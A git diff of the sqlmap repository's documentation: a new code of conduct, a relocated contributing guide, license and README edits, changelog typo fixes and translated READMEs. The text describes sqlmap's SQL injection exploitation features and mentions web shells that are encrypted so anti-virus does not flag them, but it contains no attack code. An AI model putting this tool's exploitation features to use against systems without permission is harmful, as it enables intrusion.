diff --git a/.gitattributes b/.gitattributes index 6fe72af7e3e..806cf1b9a63 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,6 +1,8 @@ *.conf text eol=lf +*.md text eol=lf *.md5 text eol=lf *.py text eol=lf +*.xml text eol=lf *_ binary *.dll binary diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md new file mode 100644 index 00000000000..2a36badf3f6 --- /dev/null +++ b/.github/CODE_OF_CONDUCT.md @@ -0,0 +1,46 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. + +## Our Standards + +Examples of behavior that contributes to creating a positive environment include: + +* Using welcoming and inclusive language +* Being respectful of differing viewpoints and experiences +* Gracefully accepting constructive criticism +* Focusing on what is best for the community +* Showing empathy towards other community members + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery and unwelcome sexual attention or advances +* Trolling, insulting/derogatory comments, and personal or political attacks +* Public or private harassment +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Other conduct which could reasonably be considered inappropriate in a professional setting + +## Our Responsibilities + +Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. + +Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. + +## Scope + +This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. + +Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] + +[homepage]: http://contributor-covenant.org +[version]: http://contributor-covenant.org/version/1/4/ diff --git a/doc/CONTRIBUTING.md b/.github/CONTRIBUTING.md similarity index 74% rename from doc/CONTRIBUTING.md rename to .github/CONTRIBUTING.md index 1de4a195d4c..31b389e6070 100644 --- a/doc/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -1,38 +1,37 @@ -# Contributing to sqlmap - -## Reporting bugs - -**Bug reports are welcome**! -Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). - -### Guidelines - -* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. -* Make sure you can reproduce the bug with the latest development version of sqlmap. -* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. -* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* -* If you are not sure whether something is a bug, or want to discuss a potential new feature before putting in an enhancement request, the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) is a good place to bring it up. - -## Submitting code changes - -All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). - -Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). -Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! - -### Guidelines - -In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: - -* Each patch should make one logical change. -* Wrap code to 76 columns when possible. -* Avoid tabbing, use four blank spaces instead. -* Before you put time into a non-trivial patch, it is worth discussing it on the [mailing list](https://lists.sourceforge.net/lists/listinfo/sqlmap-users) or privately by [email](mailto:dev@sqlmap.org). -* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. -* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. -* Style that is too different from main branch will be ''adapted'' by the developers side. -* Do not touch anything inside `thirdparty/` and `extra/` folders. - -### Licensing - -By submitting code contributions to the sqlmap developers, to the mailing list, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. +# Contributing to sqlmap + +## Reporting bugs + +**Bug reports are welcome**! +Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues). + +### Guidelines + +* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant. +* Make sure you can reproduce the bug with the latest development version of sqlmap. +* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal. +* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?* + +## Submitting code changes + +All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:dev@sqlmap.org) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37). + +Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests). +Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next! + +### Guidelines + +In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions: + +* Each patch should make one logical change. +* Wrap code to 76 columns when possible. +* Avoid tabbing, use four blank spaces instead. +* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:dev@sqlmap.org). +* Do not change style on numerous files in one single pull request, we can [discuss](mailto:dev@sqlmap.org) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected. +* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests. +* Style that is too different from main branch will be ''adapted'' by the developers side. +* Do not touch anything inside `thirdparty/` and `extra/` folders. + +### Licensing + +By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. diff --git a/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md similarity index 100% rename from ISSUE_TEMPLATE.md rename to .github/ISSUE_TEMPLATE.md diff --git a/.gitignore b/.gitignore index ff18ea7962e..81f58777842 100644 --- a/.gitignore +++ b/.gitignore @@ -2,4 +2,5 @@ output/ .sqlmap_history traffic.txt -*~ \ No newline at end of file +*~ +.idea/ \ No newline at end of file diff --git a/doc/COPYING b/LICENSE similarity index 89% rename from doc/COPYING rename to LICENSE index 30e652cf992..5fa92b72813 100644 --- a/doc/COPYING +++ b/LICENSE @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2017 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free @@ -31,6 +31,9 @@ interpretation of derived works with some common examples. Our interpretation applies only to sqlmap - we do not speak for other people's GPL works. +This license does not apply to the third-party components. More details can +be found inside the file 'doc/THIRD-PARTY.md'. + If you have any questions about the GPL licensing restrictions on using sqlmap in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate sqlmap into proprietary @@ -46,14 +49,14 @@ to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes to dev@sqlmap.org for possible incorporation into the main distribution. By sending these changes to the -sqlmap developers, to the mailing lists, or via Git pull request, checking -them into the sqlmap source code repository, it is understood (unless you -specify otherwise) that you are offering the sqlmap project the unlimited, -non-exclusive right to reuse, modify, and relicense the code. sqlmap will -always be available Open Source, but this is important because the -inability to relicense code has caused devastating problems for other Free -Software projects (such as KDE and NASM). If you wish to specify special -license conditions of your contributions, just say so when you send them. +sqlmap developers or via Git pull request, checking them into the sqlmap +source code repository, it is understood (unless you specify otherwise) +that you are offering the sqlmap project the unlimited, non-exclusive +right to reuse, modify, and relicense the code. sqlmap will always be +available Open Source, but this is important because the inability to +relicense code has caused devastating problems for other Free Software +projects (such as KDE and NASM). If you wish to specify special license +conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of @@ -343,30 +346,3 @@ PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS - -**************************************************************************** - -This license does not apply to the following components: - -* The Ansistrm library located under thirdparty/ansistrm/. -* The Beautiful Soup library located under thirdparty/beautifulsoup/. -* The Bottle library located under thirdparty/bottle/. -* The Chardet library located under thirdparty/chardet/. -* The ClientForm library located under thirdparty/clientform/. -* The Colorama library located under thirdparty/colorama/. -* The Fcrypt library located under thirdparty/fcrypt/. -* The Gprof2dot library located under thirdparty/gprof2dot/. -* The KeepAlive library located under thirdparty/keepalive/. -* The Magic library located under thirdparty/magic/. -* The MultipartPost library located under thirdparty/multipartpost/. -* The Odict library located under thirdparty/odict/. -* The Oset library located under thirdparty/oset/. -* The PageRank library located under thirdparty/pagerank/. -* The PrettyPrint library located under thirdparty/prettyprint/. -* The PyDes library located under thirdparty/pydes/. -* The SocksiPy library located under thirdparty/socks/. -* The Termcolor library located under thirdparty/termcolor/. -* The XDot library located under thirdparty/xdot/. -* The icmpsh tool located under extra/icmpsh/. - -Details for the above packages can be found in the THIRD-PARTY.md file. diff --git a/README.md b/README.md index 70e748b2744..b125d1561cc 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,11 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. +**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).** + Screenshots ---- @@ -34,7 +36,7 @@ To get a list of all options and switches use: python sqlmap.py -hh You can find a sample run [here](https://asciinema.org/a/46601). -To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki). +To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Links ---- @@ -45,9 +47,6 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots @@ -55,6 +54,7 @@ Links Translations ---- +* [Bulgarian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-bg-BG.md) * [Chinese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-zh-CN.md) * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md) * [French](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fr-FR.md) @@ -62,6 +62,7 @@ Translations * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md) * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) +* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index c23eb34d442..1e3284055da 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -83,7 +83,7 @@ * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. * Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`). -* Added option `--test-skip` for skiping tests by payloads and/or titles (e.g. `BENCHMARK`). +* Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`). * Added switch `--titles` to turn on comparison of pages based only on their titles. * Added option `--tor-port` to explicitly set Tor proxy port. * Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`). @@ -149,7 +149,7 @@ * Major bugs fixed. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Major code cleanup. -* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus softwares that mistakenly mark sqlmap as a malware. +* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. * Updated user's manual. * Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from http://sqlmap.org/demo.html. @@ -302,7 +302,7 @@ * Added support to extract database users password hash on Microsoft SQL Server; * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; * Added support for SQL injection on HTTP Cookie and User-Agent headers; -* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Splitted getValue() into getInband() and getBlind(); +* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); * Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; * Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); @@ -335,7 +335,7 @@ * Added inband SQL injection (UNION query) support (`--union-use`); * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Reviewed the directory tree structure; -* Splitted lib/common.py: inband injection functionalities now are moved to lib/union.py; +* Split lib/common.py: inband injection functionalities now are moved to lib/union.py; * Updated documentation files. # Version 0.3 (2007-01-20) diff --git a/doc/THANKS.md b/doc/THANKS.md index 70fc9741035..6e9f85819ef 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -139,7 +139,7 @@ Jim Forster, * for reporting a bug Rong-En Fan, -* for commiting the sqlmap 0.5 port to the official FreeBSD project repository +* for committing the sqlmap 0.5 port to the official FreeBSD project repository Giorgio Fedon, * for suggesting a speed improvement for bisection algorithm @@ -562,7 +562,7 @@ Kazim Bugra Tombul, * for reporting a minor bug Efrain Torres, -* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository +* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework Sandro Tosi, diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index d0d24f2c711..2bf01b6ea02 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -281,8 +281,6 @@ be bound by the terms and conditions of this License Agreement. * The bottle web framework library located under thirdparty/bottle/. Copyright (C) 2012, Marcel Hellkamp. -* The PageRank library located under thirdparty/pagerank/. - Copyright (C) 2010, Corey Goldberg. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md new file mode 100644 index 00000000000..79c24538a94 --- /dev/null +++ b/doc/translations/README-bg-BG.md @@ -0,0 +1,50 @@ +# sqlmap + +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![Лиценз](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) + +sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. + +Демо снимки +---- + +![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Можете да посетите [колекцията от снимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи някои функции, качени на wiki. + +Инсталиране +---- + +Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). + +За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6.x** и **2.7.x** на всички платформи. + +Използване +---- + +За да получите списък с основните опции използвайте: + + python sqlmap.py -h + +За да получите списък с всички опции използвайте: + + python sqlmap.py -hh + +Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). +За да разберете възможностите на sqlmap, списък на поддържаните функции и описание на всички опции, заедно с примери, се препоръчва да се разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Връзки +---- + +* Начална страница: http://sqlmap.org +* Изтегляне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS емисия: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues +* Упътване: https://github.com/sqlmapproject/sqlmap/wiki +* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md index b20ad238761..c874d21496b 100644 --- a/doc/translations/README-es-MX.md +++ b/doc/translations/README-es-MX.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". @@ -33,7 +33,7 @@ Para obtener una lista de todas las opciones: python sqlmap.py -hh Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). -Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki). +Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Enlaces --- @@ -44,9 +44,6 @@ Enlaces * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Subscripción a la lista de correo: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Fuente de la lista de correo "RSS feed": http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Archivos de lista de correo: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 132644c62ef..c051396304d 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. @@ -13,7 +13,7 @@ Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/w Installation ---- -Vous pouvez télécharger le plus récent fichier tarball en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger le plus récent archive zip [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). +Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): @@ -21,7 +21,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/) -Usage +Utilisation ---- Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez: @@ -33,7 +33,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta python sqlmap.py -hh Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. -Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge et la description de toutes les options, ainsi que des exemples , nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki). +Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens ---- @@ -41,12 +41,9 @@ Liens * Page d'acceuil: http://sqlmap.org * Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users -* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap -* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 43ded00950c..4deee28051d 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -1,6 +1,6 @@ # sqlmap -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) 